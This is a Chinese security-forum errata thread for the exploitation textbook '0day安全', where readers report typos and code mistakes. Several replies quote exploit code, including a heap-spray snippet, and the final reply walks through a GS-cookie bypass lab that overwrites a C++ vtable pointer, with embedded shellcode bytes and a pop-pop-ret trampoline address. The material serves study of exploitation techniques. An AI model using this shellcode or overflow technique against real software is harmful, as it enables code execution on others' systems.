首页
论坛
专栏
课程

《0day安全:软件漏洞分析技术》勘误

failwest
8
2008-4-21 12:58 37845
寡人不才,书中诸多纰漏望诸君不吝指正

2008.4.23 第二次勘误

共3处勘误。感谢DCracker,zhangliangguo,keexoo的指正:)


page 166

表6-3-3:第一列地址为0x0052XXXX,不是0x5200XXXX
勘误原因:笔误。抱歉


page 293~296

汇编代码指令与操作数之间的空格丢掉了
勘误原因:排版错


page 321标题及目录中第15章标题

MS07-060应修改为MS07-014
勘误原因:笔误


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

2008.4.21 第一次勘误

共5处勘误。感谢DCracker的指正:)


page 47

图4.1.7:前3图与后3图重复
勘误原因:排版错。无奈一日悉心绘制,印将纸上竟出如此谬误。第二次印刷定改之!




page 58

图4.3.2:EBP值看不清
勘误原因:印刷不清。商女不知亡国恨,印场不管分辨率,叹~~~



page 60

图4.3.4:EIP值看不清
勘误原因:同上



page 71

图4.4.5:EBP值看不清
勘误原因:同上



page 82

图5.2.2:EIP,ESP值看不清
勘误原因:同上



[防守篇]2018看雪.TSRC CTF 挑战赛(团队赛)11月1日征题开启!

上传的附件:
最新回复 (49)
firefly 4 2008-4-21 18:31
2

0

应该把OD背景改成白的就好了。印刷是黑白的,估计效果会好点。
DCracker 2 2008-4-22 17:09
3

0

书中第166页,表6-3-3 的起始位置一列中,地址错了。
应为0x0052XXXX,不是0x5200XXXX。
felonyxce 2008-4-24 01:20
4

0

勘误的4.1.7的图也不对吧,参数压栈不是3先入栈吗?
zfangji 2008-4-25 11:52
5

0

书中chapter_05\5_6_bindshell\bindshell通不过,是不是哪个地方出了问题?
另外和以上例子相关的P134中,
xchg eax , esi  ;esi = addr of first function hash 对吗?
KD路飞 2008-4-25 21:43
6

0

恩....

前面的图看不清楚...还有P106的注释 load next hash into al and increment esi.语法错误..increment是名词..

应换为increse...呵呵````(我在很多词典查了都只有名词的意思啊,但是刚才看了secrets of reverse,也把它当动词用..

小弟专业词汇不够```献丑了,failwest大哥用的是对的哈~)

不过failwest大哥辛苦了哈,书很不错~我正在啃,感觉内力大增啊
fireworld 2008-4-30 09:08
7

0

P20 表3-3-1 调试功能的命令中的 反汇编栏 和P21 表3-3-2 信息显示与编辑功能中的 反汇编栏 是否是重复?
suntiger 2008-4-30 16:44
8

0

再提供两个小小的错误
page 90 页中的表5-2-2中倒数第二行:
机器代码(十六进制)"B8 DA CD 81 7C
后面的汇编指令书中为:MOV EAX,0x7C81CD
应该是:0x7C81CDDA    掉了"DA".

page 112 ,char popup_general[]=
"... ..."
void main()
...

这段程序最后少了一个"}" ,编译的时候才发现这个问题! :)

目前只看到这里...
KD路飞 2008-4-30 20:10
9

0

弱弱的问一下failwest大哥..

讲到WINDOWS安全机制的时候,你说堆栈溢出攻击可能真的会成为历史..

那目前研究缓冲区攻击还有没有什么价值...

谢谢了哈
haileyuxin 2008-5-1 16:15
10

0

od黑的印出来太差了 其他的都还不错。
ida的介绍 就就一点 网络渗透也是就写了几页
期待下一版做的更完美
枫叶飘 2008-5-1 20:07
11

0

希望不要再出现什么错误!我刚把书买回来不到5个小时,就要在电脑面前勘误!
fastone 2008-5-2 18:03
12

0

OD里的红色代码可以用白色显示..如果背景用黑色的话..其他不变就可以了..这样避免看不清楚
netcicala 2008-5-7 15:48
13

0

发现的印刷错误3处:
1,page5下的倒数第三行。微软每个月0第二周的星期二发布补丁。
   多了一个0 。

2,page47 的图4.1.7 图重复了。

3,Page 59 的表格4-3-2 第二行BUFFER[4-7]后面内存地址错误。 应该是0x0012fb1c 而不是0x0012fb18。
combojiang 26 2008-5-12 11:27
14

0

1。 page117 表5-5-1 汇编指令 add eax,14 应该为: add eax,14h

2。 page118  char final_sc_44[] = "\x83\xc0\x14"    add eax,14 应该为:add eax,14h

3.  page120  stosd : 把EDI指向的地址中的DWORD存入EAX,并增加EDI
                     stosb :把EDI指向的地址中的BYTE存入AL,并增加EDI
           这两句错误。
hwangyi 2008-5-20 19:55
15

0

1. page334 第4行   “……好的File Fuzz应当有(灵)活的测试用例生”

2. page337 倒数第2行 “s_print_buffer()函数用于以16进制形式输(出)当前缓冲区的数据”
爱上学习 2008-5-21 08:58
16

0

弱弱的问一下,为什么我在学习6.2.4堆块分配的时候,程序一直停在中断那儿,运行不到堆块分配函数呢?
网游难民 15 2008-5-24 00:31
17

0

97页倒数第四行的“ProcessExit”是否应为“ExitProcess”
moonspot 2008-5-27 08:30
18

0

什么时候印第2版?
yzmck 2008-6-7 15:16
19

0

chapter4例子

fp=fopen("password.txt","rw+")
nipcdll 2008-6-18 09:06
20

0

P37
天方夜谈—>天方夜谭
impossible misson->impossible mission
青枫 2008-6-22 22:35
21

0

P2  倒数第4行  "slamer蠕虫"    是否应为  "slammer蠕虫"
P59倒数第2行  “0x00333231” 是否应为  "0x00323334"
惜u雪 2008-6-29 15:02
22

0

刚买回来,努力看……呵呵!
lixupeng 2008-6-29 18:32
23

0

看来出版前一定要检查一下
yxyhack 2008-7-1 11:22
24

0

p84

5.2.2跳板那一段

原文“其中,诸如kernel.32、user32.dll之类的动态链接。。。。。。”

kernel.32应该为kernel32.dll。
writer15 2008-7-3 01:01
25

0

p106的的ASM中
------------------------------
next_function_loop:
  inc edi
------------------------------
edi一开始为1, 不能对DLL输出的第一个函数进行hash!!!!
麦田的怪 2008-7-6 18:45
26

0

26页,倒数第七行,http://www.vmware.cn/并不是vmware的网站。官方网站中文首页应为:http://www.vmware.com/cn/
hokers 1 2008-7-11 05:20
27

0

p118   shellcode少一个\x90结束标记,解码会不正确

p120   stosd/stosb是把al/eax中的内容放入edi,书中写反
Gruuuuubby 2008-9-9 16:56
28

0

p81
要想使exploit不致与10次……
要想使exploit不至与10次……

p90
表5-2-2
倒数第二行
MOV EAX,0x7C81CDDA
DA掉了
ballack陈 2008-9-12 20:06
29

0

93页 最右下那个图是不是画错了?前面介绍shellcode布置在缓冲区的前端,离栈顶较远,但实际图上表明是较近啊,那些new data应该和shellcode换个位置吧?
saulgibson 2008-9-17 15:23
30

0

P51图4.2.1 形参,不是行参....
yangjt 10 2008-9-20 11:18
31

0

P178 图片
原文 0x7FFD20F
更正 0x7FFDF020

P153第八行
原文 0x00401016
更正 0x00401046

P21
反汇编功能处重复了……前一页已经有了……

potal 2008-9-23 20:37
32

0

找不到ollyuni.dll下载!!!!!!而且书中的找esp地址的程序在电脑上始终有错,这又是为什么呢?
beijixing 2008-10-15 20:02
33

0

书确实不错,由浅入深,读起来不吃力,适合我这样的新手
stalker 8 2008-10-20 12:06
34

0

书中metasploit在某两页曾被错写为meatsploit、matesploit(大概是P225之后一点)
arjohn 2008-12-15 13:12
35

0

第272页 表12-2-1倒数第三行中的URL是不是少了三个字母“org”?
parachaos 1 2009-2-12 23:55
36

0

p138
从下向上数第二行
;jz call_loop
TDAPPLE 2009-4-11 19:50
37

0

83页的图5.2.3在中间的是“返回地址(jmp esp)到了最右面的是(jump ESP)了。
cqyxyxyx 2009-7-12 14:17
38

0

这个时候才知道!Good!
micfree 2009-10-5 15:15
39

0

很不错,对于我们这些入学者帮助很大.
eastmaster 2010-3-18 22:20
40

0

第284页函数原形定义错了,只有一个参数。
应该是
typedef  void  ( _stdcall *MYPROC)(LPTSTR, LPTSTR, int, LPTSTR, LONG*, int);
pasta 2010-9-19 09:57
41

0

OD能不能用白色的背景啊,或者字体用白色,黑客帝国实在有点看不清
vxking 2010-10-7 23:29
42

0

chapter_05\5_2_locate_shellcode\5_2_search_opcode

#include <windows.h>
#include <stdio.h>
#define DLL_NAME "user32.dll"
main()
{
        BYTE* ptr;
        int position,address;
        HINSTANCE handle;
        BOOL done_flag = FALSE;

        handle=LoadLibrary(DLL_NAME);

        if(!handle)
        {
                printf(" load dll erro !");
                exit(0);
        }

        ptr = (BYTE*)handle;
       
        for(position = 0; !done_flag; position++)
        {
                try
                {
                        if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
                        {
                                //0xFFE4 is the opcode of jmp esp
                                int address = (int)ptr + position;
                                printf("OPCODE found at 0x%x\n",address);
                        }
                }
                catch(...)
                {
                        int address = (int)ptr + position;是不是不用定义了,前面已经有定义了                        printf("END OF 0x%x\n", address);
                        done_flag = true;
                }
        }
}
二当家a 2014-12-10 23:29
43

0

是的。我也发现出错了, 而且目前还没有解决。不知道你解决了没?
是因为发生越界检查了嘛?
http://blog.sina.com.cn/s/blog_4a082449010115wq.html

但是无法找到确切的原因。
如有发现,还望告之,谢谢!!
二当家a 2014-12-10 23:30
44

0

我也以为是重复定义的。
但是这段代码始终无法正常运行,都会爆出访问错误的。
mingwu环境和VS环境换了之后还是不行。

如有发现,还望告之!万分感谢!
Exploring 2017-3-15 19:10
45

0




eastmaster

第284页函数原形定义错了,只有一个参数。
应该是
typedef&nbsp;&nbsp;void&nbsp;&nbsp;( _stdcall *MYPROC)(L ...

第2版 P661也是

zwfy 4天前
46

0

P202 6.4 6.4 Heap Spray:堆与栈的协同攻击章节:
攻击目标地址:0x0C0C0C0C 在202页的代码备注中如下:
```javascript
var nop=unescape("%u9090%u9090");
while (nop.length<= 0x100000/2)
{
nop+=nop;
}//生成一个 1MB 大小充满 0x90 的数据块
```
更正:此处应为2MB,("%u9090%u9090") 大小为4字节,2个unicode字符
0x0C0C0C0C  / 1024 / 1024 == 192.75MB 因此生成的数据为200MB, 而以下代码实际生成400MB:
```
    for (var i=0; i<200; i++)
    {
            slide[i] = nop + shellcode;
    }
```
pureGavin 3天前
47

0

P567:
这页最下方的shellcode的示例代码里的include有重复(这能算错误么??虽然不影响阅读)
pureGavin 3天前
48

0

pureGavin P567: 这页最下方的shellcode的示例代码里的include有重复(这能算错误么??虽然不影响阅读)
不好意思,发错了,这是加密与解密的错误。。。
zwfy 3天前
49

0

P268 10.1 GS 安全编译选项的保护原理 security cookie:
```
但是额外的数据和操作带来的直接后果就是系统性能的下降,为了将对性能的影响降到最
小,编译器在编译程序的时候并不是对所有的函数都应用 GS,以下情况不会应用 GS。
(1)函数不包含缓冲区。
(2)函数被定义为具有变量参数列表。
(3)函数使用无保护的关键字标记
(4)函数在第一个语句中包含内嵌汇编代码。
(5)缓冲区不是 8 字节类型且大小不大于 4 个字节。
```
此处 【(2)函数被定义为具有变量参数列表。 】应更正为【具有可变长度参数列表】
zwfy 4小时前
50

0

10.3 覆盖虚函数突破 GS(重构)

原书该节内容表达及截图不匹配,故动手调试程序,并附上一些附加信息,方便理解。

 

如果我们可以在程序检查 Security Cookie 之前劫持程序流程的话,就可以实现对程序的溢出了,而 C++的虚函数恰恰给我们提供了这么一个机会(对于虚函数溢出的原理大家可以参照 6.3 的内容)。


1. 示例代码

#include "stdafx.h"
#include "string.h"

class GSVirtual {
public :
    void gsv(char * src)
    {
        char buf[200];
        strcpy(buf, src);
        bar(); // virtual function call
    }
    virtual void  bar()
    {
    }
};
int main()
{

    GSVirtual test;
    test.gsv(
        "\x04\x2b\x99\x7C"    
        "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
        "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
        "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
        "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
        "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
        "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
        "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
        "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
        "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
        "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
        "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90"
        );
    return 0;
}

对实验思路和代码简要解释如下。
(1)类 GSVirtual 中的 gsv 函数存在典型的溢出漏洞。
(2)类 GSVirtual 中包含一个虚函数 vir。
(3)当 gsv 函数中的 buf 变量发生溢出的时候有可能会影响到虚表指针,如果我们可以控制虚表指针,将其指向我们的可以控制的内存空间,就可以在程序调用虚函数时控制程序的流程。

说明: shellcode 中头部的 0x7C992B04 为“pop edi; pop esi; retn”指令的地址,不同版本的系统中该地址可能不同,如果您在其他版本中进行实验,可能需要重新设置此地址。


2. Security Cookie初始化

 

IDA


3. 查看内存布局

为了能够精准地淹没虚函数表,我们需要搞清楚变量与虚表指针在内存中的详细布局,通过前面的分析可以知道当函数 gsv 传入参数的长度大于 200 个字节时,变量 buff 就会被溢出。先将 test.gsv 中传入参数修改为 199 个“\x90” +1 个“\0”,然后用 OllyDbg 加载程序,在执行完 strcpy 后暂停。

  • 当前指令位置:

  • 栈顶状态

    0012FE98 == &vtab, vtab == 0x4021D0

  • 栈风水

可以看出我们距离胜利的终点还有 20 个字节,只要参数长度再增加 20 个字节以上就可以改变虚表指针了。

0x12FF78(vtab[item]) - 0x12FE9C(buff) = 220B
注意超过20字节,会覆盖test.gsv() 函数的Security Cookie,虽然会覆盖,但并不影响shellcode执行,因为虚函数调用完成后才会检验Cookie, 而虚函数已经被shellcode劫持,因此不会验证Cookie

  • 虚函数 vir()



4. shellcode定位

变量 Buff 在内存的位置不是固定的,我们需要考虑一下如何让虚表指针[0012FF78]刚好指到 shellcode的范围内。通过对内存布局的分析,虽然变量 Buff 的位置不固定,但是gsv(char * src)参数0x00402100位于虚表(0x004021D0)附近:

0x004021D0 为虚表,指向虚函数vir(),当正常调用虚函数之前,获取该地址。
0x00402100 与 0x004021D0 相距较近,且0x004021D0为要覆盖的虚表,因此联想到 shellcode覆盖地址可仅patch 一个字节。

 

所以我们可以通过覆盖部分虚表指针的方法,让虚表指针指向参数src,在本实验中使用字符串结束符“\0”覆盖虚表指针的最低位即可让其指向原始参数的最前端。

0x12FF78 00 E4 21 40 --patch-> 00 00 21 40 ; patch(0x12ff79, 0)

 


5. 虚表调用逻辑利用

mov eax, [ebp-D4] 栈数据被溢出为0x402100,该地址指向shellcode
mov edx, [eax] 获取shellcode地址
mov eax, [edx] shellcode首个DWORD作为地址获取,记为addr
call eax 调用addr
 

因此shellcode首个DWORD需要构造为一个跳板地址,跳板完成后继续执行shellcode


6. 跳转指令选择

  • 运行call eax时堆栈风水

  • 此时F7 Step in “call eax” ,则栈布局如下:

0x12FE84 0x40108F ; 指向call eax指令完成后的下一条指令
0x12FE88 0x00000000
0x12FE90 0x12FE9C ; 指向shellcode
  • shellcode 首个dword执行:
  • 栈顶布局:

为控制EIP指向shellcode, 需要 构造“pop..pop...retn” 序列,shellcode首个DWORD需要构造的跳板地址依据此指令选择。


7. shellcode 布局


8. 溢出成功

  • strcpy栈溢出后

此时vtab地址已经指向shellcode:

返回